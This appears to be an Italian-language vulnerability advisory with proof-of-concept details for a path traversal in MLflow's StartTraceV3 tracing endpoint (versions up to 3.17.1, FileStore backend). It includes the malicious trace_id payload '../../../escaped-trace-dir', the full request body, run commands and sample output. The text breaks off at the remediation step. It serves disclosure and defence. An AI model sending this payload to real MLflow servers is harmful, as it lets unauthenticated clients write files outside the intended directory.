
MLflow <=3.17.1 path traversal consente la scrittura di file di traccia al di fuori della directory prevista.
<= 3.17.1 StartTraceV3Gravità: Alta, CVSS 3.1 8.2
Vettore: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L
Interessato: versioni di MLflow <= 3.17.1 quando si utilizza il backend di tracking FileStore
Componente: MLflow Tracing API, StartTraceV3 / FileStore.start_trace()
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory), CWE-23 (Relative Path Traversal), CWE-73 (External Control of File Name or Path)
Scoperto e segnalato da: Sai Teja Erukude
MLflow accetta un trace_info.trace_id controllato dal client tramite
l'API di tracing StartTraceV3. Quando il backend di tracking è FileStore, questo ID viene
utilizzato nella costruzione del percorso del filesystem senza rifiutare segmenti di traversal come
../.
Un attaccante può inviare un trace ID come ../../../escaped-trace-dir per
sfuggire alla directory dei trace dell'esperimento prevista. MLflow crea quindi
file relativi ai trace nella directory risolta al di fuori dell'albero di archiviazione dei trace.
Quando l'endpoint di tracing è esposto senza autenticazione o restrizioni di accesso, un client non autenticato può influenzare la posizione nel filesystem dei file di trace controllati da MLflow su un server basato su FileStore, in base ai permessi del filesystem del processo del server. Il PoC incluso utilizza il client di test locale di Flask; non verifica l'esposizione di rete o la configurazione di autenticazione di un deployment.
Il PoC dimostra scritture al di fuori della directory dei trace dell'esperimento prevista:
trace_info.yaml, contenente informazioni sul trace fornite dal client.request_metadata/poc_metadata, contenente metadati controllati dall'attaccante.tags/poc_tag, contenente un valore di tag controllato dall'attaccante.Ciò influisce sull'integrità consentendo ai dati della richiesta di controllare dove vengono scritti i file relativi ai trace. Directory e file inattesi al di fuori dell'albero di archiviazione dei trace possono anche causare un impatto limitato sulla disponibilità. La scrittura dimostrata utilizza i formati e i nomi dei file di trace di MLflow; non stabilisce contenuti arbitrari dei file, esecuzione di codice o un impatto sulla riservatezza.
Il report assegna le seguenti metriche CVSS 3.1:
| Metrica | Valore |
|---|---|
| Attack Vector (AV) | Network (N) |
| Attack Complexity (AC) | Low (L) |
| Privileges Required (PR) | None (N) |
| User Interaction (UI) | None (N) |
| Scope (S) | Unchanged (U) |
| Confidentiality (C) | None (N) |
| Integrity (I) | High (H) |
| Availability (A) | Low (L) |
Il percorso della richiesta vulnerabile è:
POST /api/3.0/mlflow/traces
-> _start_trace_v3()
-> TraceInfo.from_proto(...)
-> FileStore.start_trace(trace_info)
-> filesystem path construction using trace_info.trace_id
-> directory creation and trace information, metadata, and tag writes
La richiesta fornisce l'ID all'interno di trace.trace_info:
{
"trace": {
"trace_info": {
"trace_id": "../../../escaped-trace-dir",
"trace_location": {
"type": "MLFLOW_EXPERIMENT",
"mlflow_experiment": {
"experiment_id": "0"
}
},
"trace_metadata": {
"poc_metadata": "attacker-controlled metadata"
},
"tags": {
"poc_tag": "attacker-controlled tag"
}
}
}
}
Questo estratto mostra i campi rilevanti per la traversata. Il runner costruisce la richiesta completa, inclusi lo stato della traccia, il timestamp e i campi di anteprima.
L'ID controllato dal client produce la seguente risoluzione del percorso relativa alla directory del PoC:
Expected trace storage: mlruns/0/traces/
Supplied trace ID: ../../../escaped-trace-dir
Joined trace path: mlruns/0/traces/../../../escaped-trace-dir/
Resolved trace path: escaped-trace-dir/
La risposta salvata restituisce HTTP 200 e preserva l'ID di traccia malevolo.
I file risultanti si trovano accanto a mlruns/, al di fuori della directory
di traccia dell'esperimento prevista.
run_poc.py costruisce una richiesta StartTraceV3 malevola, configura
un FileStore locale, invoca la route HTTP reale di MLflow tramite il test
client di Flask e registra la risposta e le prove sul filesystem. Esegue la
route senza avviare un server di rete in ascolto.
python -m venv .venv
.\.venv\Scripts\Activate.ps1
python -m pip install -r requirements.txt
python -B run_poc.py
Per stampare il risultato leggibile dalla macchina:
python -B run_poc.py --json
Il contenuto salvato contiene questi risultati, abbreviati qui:
{
"package": {
"distribution": "mlflow",
"version": "3.17.1"
},
"endpoint": "/api/3.0/mlflow/traces",
"status_code": 200,
"malicious_trace_id": "../../../escaped-trace-dir",
"checks": {
"http_success": true,
"trace_info_written_outside_traces_dir": true,
"trace_metadata_file_written": true,
"tag_file_written": true
},
"success": true
}
Il runner salva:
evidence/start-trace-request.json:
il corpo completo della richiesta.evidence/start-trace-response.json:
la risposta del server.evidence/escaped-trace-info.yaml:
una copia delle informazioni di traccia scritte al di fuori della directory di traccia.evidence/summary.json:
la versione del pacchetto, i percorsi risolti, il codice di stato e i risultati della verifica.success: true e il codice di uscita 0 indicano che il path traversal è stato riprodotto. Un controllo fallito
restituisce il codice di uscita 1; questo da solo non prova che una versione sia corretta.
Il payload scrive dati di traccia dimostrativi sotto escaped-trace-dir/ all'interno
della directory del PoC. Il runner scrive anche mlruns/ e evidence/; rieseguirlo
sostituisce le evidenze salvate. Usa una copia pulita quando raccogli nuovi risultati,
poiché il runner verifica la presenza di file che potrebbero già esistere da un'esecuzione precedente.
I percorsi assoluti nelle evidenze salvate identificano l'ambiente di riproduzione
originale e saranno diversi in un nuovo checkout.
È incluso un video dimostrativo locale.
Convalida gli ID di traccia al confine del FileStore prima di costruire percorsi o creare directory: